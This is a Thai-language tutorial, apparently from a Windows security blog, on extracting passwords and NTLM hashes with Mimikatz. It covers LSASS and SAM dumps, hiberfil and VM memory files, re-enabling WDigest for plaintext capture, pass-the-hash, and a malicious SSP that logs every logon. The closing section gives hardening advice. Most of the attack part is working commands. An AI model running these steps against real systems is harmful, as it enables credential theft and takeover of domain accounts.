การทิ้งรหัสผ่านของผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz
ในบทความนี้ เขียนโดยเป็นส่วนหนึ่งของชุดข้อมูลด้านความปลอดภัยของ Windows เราจะเรียนรู้วิธีการง่ายๆ ในการรับรหัสผ่านของผู้ใช้ Windows ที่ใช้งานอยู่ทั้งหมดโดยใช้เครื่องมือ Mimikatz
Mimikatz.exeสามารถแยกรหัสผ่านข้อความล้วนจากหน่วยความจำ Windows, แฮชรหัสผ่าน, ตั๋ว Kerberos ฯลฯ นอกจากนี้ mimikatz ยังให้คุณทำการโจมตีแบบ pass-the-hash, pass-the-ticket หรือสร้างตั๋ว Golden Kerberos ฟังก์ชัน mimikatz ยังมีอยู่ใน Metasploit Framework
คุณสามารถดาวน์โหลด mimikatz ได้จาก GitHub repo: https://github.com/gentilkiwi/mimikatz/releases/ แตกไฟล์ mimikatz_trunk.zip ไปยัง C:\Tools\mimikatz mimikatz สองเวอร์ชันจะปรากฏในไดเร็กทอรีนี้ - สำหรับ x64 และ x86 ใช้เวอร์ชันสำหรับ Windows bitness ของคุณ
ในบทความนี้ เราจะแสดงวิธีรับรหัสผ่านผู้ใช้ใน Windows Server 2016 หรือ Windows 10 โดยใช้ mimikatz
ข้อจำกัดความรับผิดชอบ ข้อมูลและเทคโนโลยีที่อธิบายไว้ในบทความนี้ควรใช้เพื่อจุดประสงค์ในการให้ข้อมูลเท่านั้น และไม่ควรเข้าถึงบัญชี ข้อมูล และระบบของบุคคลที่สาม
แฮ็กรหัสผ่าน Windows ที่แฮชใน LSASS ด้วย Mimikatz
มาลองดัมพ์แฮชรหัสผ่านของผู้ใช้ที่เข้าสู่ระบบทั้งหมดจากหน่วยความจำ Windows (กระบวนการ lsass.exe - Local Security Authority Subsystem Service) บนเซิร์ฟเวอร์ RDS ที่ใช้ Windows Server 2016
เรียกใช้คำสั่งต่อไปนี้ในพรอมต์คำสั่งที่ยกระดับ:
วิ่ง
Mimikatz.exeในฐานะผู้ดูแลระบบ
คำสั่งต่อไปนี้จะให้สิทธิ์แก่บัญชีปัจจุบันในการดีบักกระบวนการ (SeDebugPrivilege):
privilege::debugแสดงรายการเซสชันผู้ใช้ที่ใช้งานอยู่:
sekurlsa::logonPasswords fullในกรณีของฉันบนเซิร์ฟเวอร์นอกเหนือจากบัญชีของฉันมีเซสชันที่ใช้งานอยู่ของผู้ใช้สองคน:
novachและ
administratorคัดลอกแฮช NTLM (ไฮไลต์ในภาพหน้าจอ)
คุณสามารถใช้ mimikatz ไม่ใช่แบบโต้ตอบ แต่อยู่ในโหมดคำสั่ง หากต้องการรับแฮชรหัสผ่านของผู้ใช้โดยอัตโนมัติและส่งออกเป็นไฟล์ข้อความ ให้ใช้คำสั่ง:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txtตอนนี้คุณสามารถใช้ออฟไลน์ใดก็ได้ (มีไฟล์
hashcatเครื่องมือใน Kali Linux) หรือบริการออนไลน์สำหรับถอดรหัสแฮช NTLM ฉันจะใช้บริการ https://crackstation.net/
อย่างที่คุณเห็น บริการพบค่าแฮช NTLM เหล่านี้ได้อย่างรวดเร็ว เราได้รับรหัสผ่านของผู้ใช้ในรูปแบบข้อความที่ชัดเจน
ลองนึกภาพว่านี่คือโฮสต์ RDS ที่มีผู้ใช้พร้อมกันจำนวนมากและเซสชันผู้ดูแลระบบขององค์กร หากคุณมีสิทธิ์ผู้ดูแลระบบภายในบนเซิร์ฟเวอร์นี้ คุณยังสามารถรับรหัสผ่านผู้ดูแลระบบโดเมนได้อีกด้วย
หากคุณใช้รหัสผ่านที่ซับซ้อนสำหรับผู้ใช้ Windows การถอดรหัสรหัสผ่านจะยากขึ้นมาก ดังนั้น ให้เปิดใช้งานความซับซ้อนของรหัสผ่านเสมอผ่าน GPO และตรวจสอบความแข็งแกร่งของรหัสผ่านในโดเมน AD เป็นประจำ
อย่างที่คุณเห็น ขอบคุณ mimikatz ที่เราได้รับแฮช NTLM ของผู้ใช้ที่ใช้งานอยู่ทั้งหมด! คำสั่งสำเร็จเนื่องจากเปิดใช้งานโหมดดีบักบนคอมพิวเตอร์เครื่องนี้ ซึ่งอนุญาตให้คุณตั้งค่าสถานะ SeDebugPrivilege สำหรับกระบวนการที่ต้องการ ในโหมดนี้ โปรแกรมจะสามารถเข้าถึงหน่วยความจำของกระบวนการที่เรียกใช้ในนามของระบบในระดับต่ำ
หมายเหตุ ในเดือนมิถุนายน 2017 บริษัทขนาดใหญ่หลายแห่งในหลายประเทศติดมัลแวร์เรียกค่าไถ่ NotPetya ซึ่งใช้โมดูล mimikatz ในตัวเพื่อรวบรวมรหัสผ่านของผู้ใช้และผู้ดูแลโดเมน
จะรับรหัสผ่านของผู้ใช้จาก Windows Memory Dump ได้อย่างไร
วิธีการรับแฮชรหัสผ่านด้านบนจะไม่ทำงานหากติดตั้งโปรแกรมป้องกันไวรัสที่บล็อกการฉีด ในกรณีนี้ จะต้องสร้างการถ่ายโอนข้อมูลหน่วยความจำของกระบวนการ LSASS บนโฮสต์เป้าหมาย คัดลอกไปยังคอมพิวเตอร์ของคุณและแยกแฮชรหัสผ่านโดยใช้ mimikatz
การสร้างการถ่ายโอนข้อมูลหน่วยความจำของกระบวนการใน Windows ทำได้ค่อนข้างง่าย เริ่มตัวจัดการงาน ค้นหากระบวนการ lsass.exe คลิกขวาที่กระบวนการแล้วเลือก สร้างไฟล์การถ่ายโอนข้อมูล
Windows จะบันทึกข้อมูลการถ่ายโอนข้อมูลหน่วยความจำไปยังโฟลเดอร์ system32
คุณต้องแยกวิเคราะห์ไฟล์ดัมพ์โดยใช้ mimikatz (คุณสามารถทำงานนี้บนคอมพิวเตอร์เครื่องอื่นได้) โหลดการถ่ายโอนข้อมูลหน่วยความจำลงใน mimikatz:
Mimikatz “sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP”รับชื่อผู้ใช้และแฮชรหัสผ่านจากดัมพ์:
# sekurlsa::logonPasswordsคุณสามารถรับการถ่ายโอนข้อมูลหน่วยความจำจากคอมพิวเตอร์ระยะไกลโดยใช้ psexec หรือผ่าน WinRM (หากคุณมีสิทธิ์ของผู้ดูแลระบบ) และดึงรหัสผ่านของผู้ใช้ออกมา
คุณยังสามารถใช้
procdumpเครื่องมือจาก Sysinternals เพื่อรับการถ่ายโอนข้อมูล:
procdump -ma lsass.exe lsass.dmpสามารถรับดัมพ์หน่วยความจำของกระบวนการ LSASS ได้ด้วยฟังก์ชัน Out-Minidump.ps1 ใน PowerShell นำเข้าฟังก์ชัน Out-Minidump ไปยังเซสชัน PoSh และสร้างการถ่ายโอนข้อมูลหน่วยความจำของกระบวนการ LSASS:
Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidumpแยกรหัสผ่าน Windows จากไฟล์ Hyberfil.sys และ VM Page
นอกจากนี้ยังสามารถแยกรหัสผ่านของผู้ใช้ออกจากไฟล์การถ่ายโอนข้อมูลหน่วยความจำ ไฟล์การไฮเบอร์เนตของระบบ (hiberfil.sys) และ vmem ของไฟล์เครื่องเสมือน (ไฟล์เพจเครื่องเสมือนและสแน็ปช็อต)
ในการทำเช่นนั้น คุณต้องมี เครื่องมือดีบั๊กสำหรับ Windows (WinDbg), mimikatz และ เครื่องมือ เพื่อแปลง .vmem เป็นไฟล์การถ่ายโอนข้อมูลหน่วยความจำ (ใน Hyper-V อาจเป็น vm2dmp.exe หรือ MoonSols Windows Memory toolkit สำหรับ VMWare vmem-files)
ตัวอย่างเช่น หากต้องการแปลงไฟล์เพจ vmem ของเครื่องเสมือน VMWare เป็นดัมพ์ ให้ใช้คำสั่งนี้:
bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmpนำเข้าดัมพ์ไปยัง WinDbg (ไฟล์ -> เปิด Crash Dump) โหลดไลบรารี mimikatz mimilib.dll:
.load mimilib.dllค้นหากระบวนการ lsass.exe ในการถ่ายโอนข้อมูล:
!process 0 0 lsass.exeและสุดท้ายพิมพ์:
.process /r /p fffffa800e0b3b30
!mimikatzดังนั้น คุณจะได้รับรายชื่อผู้ใช้ Windows และแฮช NTLM ของรหัสผ่าน หรือแม้แต่รหัสผ่านแบบข้อความธรรมดา
แยกรหัสผ่าน Windows ในข้อความที่ชัดเจนโดยใช้ WDigest
คุณสามารถใช้โปรโตคอล WDigest สำหรับการตรวจสอบสิทธิ์แบบแยกย่อย HTTP ในเวอร์ชัน Windows เดิม ข้อบกพร่องด้านความปลอดภัยหลักของโปรโตคอลนี้คือเก็บรหัสผ่านของผู้ใช้ไว้ในหน่วยความจำในรูปแบบข้อความธรรมดา แทนที่จะเป็นแฮช Mimikatz ให้คุณแยกรหัสผ่านเหล่านี้ออกจากหน่วยความจำของกระบวนการ LSASS.EXE
โปรโตคอล WDigest ถูกปิดใช้งานตามค่าเริ่มต้นใน Windows เวอร์ชันใหม่ทั้งหมด รวมถึง Windows 10 และ Windows Server 2016/2019 แต่ถอดไม่หมด. หากคุณมีสิทธิ์ของผู้ดูแลระบบใน Windows คุณสามารถเปิดใช้งานโปรโตคอล WDiget รอให้ผู้ใช้เข้าสู่ระบบและขโมยรหัสผ่านได้
เปิดใช้งาน Wdigest บน Windows:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1รีเฟรชการตั้งค่านโยบายกลุ่ม:
gpupdate /forceรอให้ผู้ใช้เข้าสู่ระบบและรับรหัสผ่านด้วย mimikatz (ผู้ใช้ต้องลงชื่อเข้าใช้ใหม่บน Windows 10; บน Windows Server 2016 ก็เพียงพอแล้วที่จะปลดล็อกเซสชันหลังจากหน้าจอล็อก):
privilege::debug
sekurlsa::wdigestอย่างที่คุณเห็น ส่วน wdigest มีรหัสผ่านของผู้ใช้เป็นข้อความธรรมดา:
แยกแฮชรหัสผ่านผู้ใช้ภายในออกจาก SAM
ด้วย mimikatz คุณสามารถแยกแฮชรหัสผ่านของผู้ใช้ Windows ในเครื่อง (รวมถึงบัญชีผู้ดูแลระบบในตัว) จาก SAM:
privilege::debug
token::elevate
lsadump::samคุณยังสามารถแยกแฮช NTLM จากกลุ่ม SAM ของรีจิสทรี
ส่งออกกลุ่มรีจิสทรี SYSTEM และ SAM ไปยังไฟล์:
reg save hklm\sam c:\tmp\sam.hiv reg save hklm\security c:\tmp\sec.hivจากนั้นใช้ Mimikatz เพื่อทิ้งแฮชรหัสผ่าน:
privilege::debug token::elevate lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv
ทำการโจมตีแบบ Pass-the-Hash ผ่าน Mimikatz
หากผู้ใช้มีรหัสผ่านที่รัดกุมและคุณไม่สามารถถอดรหัสได้อย่างรวดเร็ว NTLM hash สามารถใช้ Mimikatz เพื่อทำการโจมตีแบบ pass-the-hash (hash reuse) ได้ ในกรณีนี้ แฮชสามารถใช้เพื่อเรียกใช้กระบวนการในนามของผู้ใช้เป้าหมาย ตัวอย่างเช่น หากคุณดัมพ์แฮช NTLM ของรหัสผ่านของผู้ใช้ คำสั่งต่อไปนี้จะเรียกใช้พรอมต์คำสั่งภายใต้บัญชีนั้น:
privilege::debug
sekurlsa::pth /user:Administrator /domain:a-d /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exeนอกจากนี้ คุณสามารถใช้
Invoke-TheHashเครื่องมือเพื่อใช้ข้อมูลรับรอง NTLM อีกครั้งเพื่อดำเนินการคำสั่งบนผู้เดินทางระยะไกล
การทิ้งรหัสผ่านจาก Windows Credential Manager
ใน Windows คุณสามารถบันทึกรหัสผ่านใน Windows Credential Manager (อาจเป็นรหัสผ่านสำหรับการเข้าถึงคอมพิวเตอร์ระยะไกล เว็บไซต์ ข้อมูลรับรอง RDP ใน
TERMSRV/hostname1รูปแบบ). Mimikatz สามารถแยกรหัสผ่านเหล่านี้จาก Credential Manager และแสดงให้คุณเห็น:
privilege::debug
sekurlsa::credmanอย่างที่คุณเห็น รหัสผ่านที่บันทึกไว้จะแสดงในส่วน credman
รหัสผ่านการล็อกออนอัตโนมัติของ Windows จะถูกจัดเก็บไว้ในรีจิสทรีในรูปแบบข้อความธรรมดา นอกจากนี้ยังง่ายต่อการแยกรหัสผ่าน Wi-Fi ที่บันทึกไว้
การทิ้งรหัสผ่านเข้าสู่ระบบ Windows ในข้อความที่ชัดเจน
อีกวิธีที่น่าสนใจในการดัมพ์รหัสผ่านใน Windows คือการใช้ผู้ให้บริการ SSP (Security Support Provider) เพิ่มเติมที่ขับเคลื่อนโดย mimikatz
คัดลอกไฟล์ไลบรารี Mimikatz mimilib.dll ไปยังโฟลเดอร์ C:\Windows\System32\;
ลงทะเบียนผู้ให้บริการ SPP เพิ่มเติมด้วยคำสั่ง:
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZเมื่อผู้ใช้แต่ละคนเข้าสู่ระบบ Windows รหัสผ่านของพวกเขาจะถูกเขียนลงในไฟล์ kiwissp.log คุณสามารถแสดงรหัสผ่านทั้งหมดโดยใช้ PowerShell:
Get-Content C:\Windows\System32\kiwissp.log</li>
ปกป้อง Windows จากการโจมตีการทุ่มตลาดข้อมูลประจำตัว
ใน Windows 8.1 และ Windows Server 2012 R2 (และใหม่กว่า) ความสามารถในการขโมยรหัสผ่านจาก LSASS จะถูกจำกัด แฮชและรหัสผ่าน LM ไม่ได้จัดเก็บไว้ในหน่วยความจำใน Windows เวอร์ชันเหล่านี้ตามค่าเริ่มต้น
ฟังก์ชันการทำงานเดียวกันนี้จะถูกส่งกลับไปยัง Windows รุ่นก่อนหน้า (7/8/2008R2/2012) ซึ่งคุณจะต้องติดตั้งการอัปเดตพิเศษ KB2871997 (การอัปเดตมีตัวเลือกอื่นๆ เพื่อเพิ่มความปลอดภัยให้กับระบบ ) และในคีย์รีจิสทรี HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest ให้ตั้งค่าพารามิเตอร์ DWORD UseLogonCredential เป็น 0 (WDigest ถูกปิดใช้งาน) .
หากคุณพยายามแยกรหัสผ่านออกจากหน่วยความจำหลังจากติดตั้งการอัปเดตนี้และคีย์ UseLogonCredential คุณจะเห็นว่า mimikatz ไม่สามารถดัมพ์รหัสผ่านและแฮชโดยใช้คำสั่ง creds_wdigest
ด้านบน เราได้แสดงวิธีที่คุณสามารถตั้งค่าคีย์ reg นี้เป็นค่าที่มีช่องโหว่ได้อย่างง่ายดาย หากคุณมีสิทธิ์ของผู้ดูแลระบบภายในเครื่อง หลังจากนั้น คุณสามารถเข้าถึงรหัสผ่านในหน่วยความจำ LSA ได้อีกครั้ง
ใน mimikatz มีตัวเลือกอื่นสำหรับการรับรหัสผ่านและแฮชจากหน่วยความจำ (WDigest, LM-hash, NTLM-hash, โมดูลสำหรับจับตั๋ว Kerberos) ดังนั้นจึงขอแนะนำให้ใช้มาตรการรักษาความปลอดภัยต่อไปนี้เพื่อป้องกัน:
ป้องกันการจัดเก็บรหัสผ่านโดยใช้การเข้ารหัสแบบย้อนกลับได้ (จัดเก็บรหัสผ่านโดยใช้การเข้ารหัสแบบย้อนกลับได้ในส่วนการกำหนดค่าคอมพิวเตอร์ -> การตั้งค่า Windows ->การตั้งค่าความปลอดภัย -> นโยบายบัญชี -> ส่วนนโยบายรหัสผ่าน และตั้งค่าเป็นปิดใช้งาน)
ปิดใช้งาน WDigest: ตั้งค่าพารามิเตอร์ Negotiate เป็น 0 ในสาขารีจิสทรีเดียวกัน (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest)
ป้องกันการบันทึกรหัสผ่านในตัวจัดการข้อมูลประจำตัว: เปิดใช้งาน การเข้าถึงเครือข่าย: ไม่อนุญาตให้จัดเก็บรหัสผ่านและข้อมูลประจำตัวสำหรับนโยบายการตรวจสอบเครือข่าย ในการกำหนดค่าคอมพิวเตอร์ -> การตั้งค่า Windows ->การตั้งค่าความปลอดภัย ->นโยบายท้องถิ่น ->ตัวเลือกความปลอดภัย ;
ปิดการใช้งาน NTLM และ LM;
ป้องกันการแคชข้อมูลรับรองผู้ใช้โดเมน (โดยพารามิเตอร์รีจิสทรี CachedLogonsCount หรือตัวเลือกนโยบายกลุ่ม นโยบายการเข้าสู่ระบบแบบโต้ตอบ: จำนวนการเข้าสู่ระบบก่อนหน้าไปยังแคช)
หากระดับการทำงานของโดเมนคือ Windows Server 2012 R2 หรือใหม่กว่า คุณสามารถเพิ่มบัญชีผู้ดูแลระบบลงในกลุ่ม Protected Users พิเศษ ในกรณีนี้ แฮช NTLM จะไม่ถูกสร้างขึ้นสำหรับผู้ใช้ดังกล่าว
เปิดใช้งานการป้องกันหน่วยความจำกระบวนการ LSA:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f(การตั้งค่านี้จะอนุญาตให้เฉพาะกระบวนการที่ลงนามโดย Microsoft เพื่อเข้าถึงหน่วยความจำ LSASS คุณสามารถปรับใช้คีย์ reg นี้ในโดเมนผ่าน GPO)
ใช้ Credential Guard เพื่อป้องกันเนื้อหา LSA ของกระบวนการ
ป้องกันการได้รับสิทธิ์ในการดีบั๊กแม้สำหรับผู้ดูแลระบบในพื้นที่: GPO -> การตั้งค่า Windows -> การตั้งค่าความปลอดภัย -> นโยบายท้องถิ่น -> การกำหนดสิทธิ์ของผู้ใช้ -> โปรแกรมดีบั๊ก (อย่างไรก็ตาม สิ่งนี้สามารถข้ามได้อย่างง่ายดายหากคุณมีสิทธิ์ LocalSystem หรือเช่นนี้)
บทสรุป อีกครั้ง เราขอเตือนคุณเกี่ยวกับแนวคิดด้านความปลอดภัยที่สำคัญบางประการ
อย่าใช้รหัสผ่านเดียวกันสำหรับบริการต่างๆ (โดยเฉพาะอย่างยิ่งสำหรับการเข้าถึงโฮสต์ RDP/RDS ที่เป็นของบุคคลที่สาม)
คิดถึงความปลอดภัยของรหัสผ่านและข้อมูลที่จัดเก็บไว้ในเครื่องเสมือนในระบบคลาวด์ เพราะคุณไม่สามารถแน่ใจได้ว่ามีใครอีกบ้างที่สามารถเข้าถึงไฮเปอร์ไวเซอร์และพื้นที่เก็บข้อมูลซึ่งเป็นที่ตั้งของไฟล์เครื่องเสมือน
ลดจำนวนบัญชีที่มีสิทธิ์ของผู้ดูแลระบบส่วนกลางหรือระดับท้องถิ่น
อย่าเข้าสู่ระบบภายใต้บัญชีผู้ดูแลระบบของโดเมนไปยังเซิร์ฟเวอร์และคอมพิวเตอร์ที่ผู้ใช้รายอื่นเข้าถึงได้















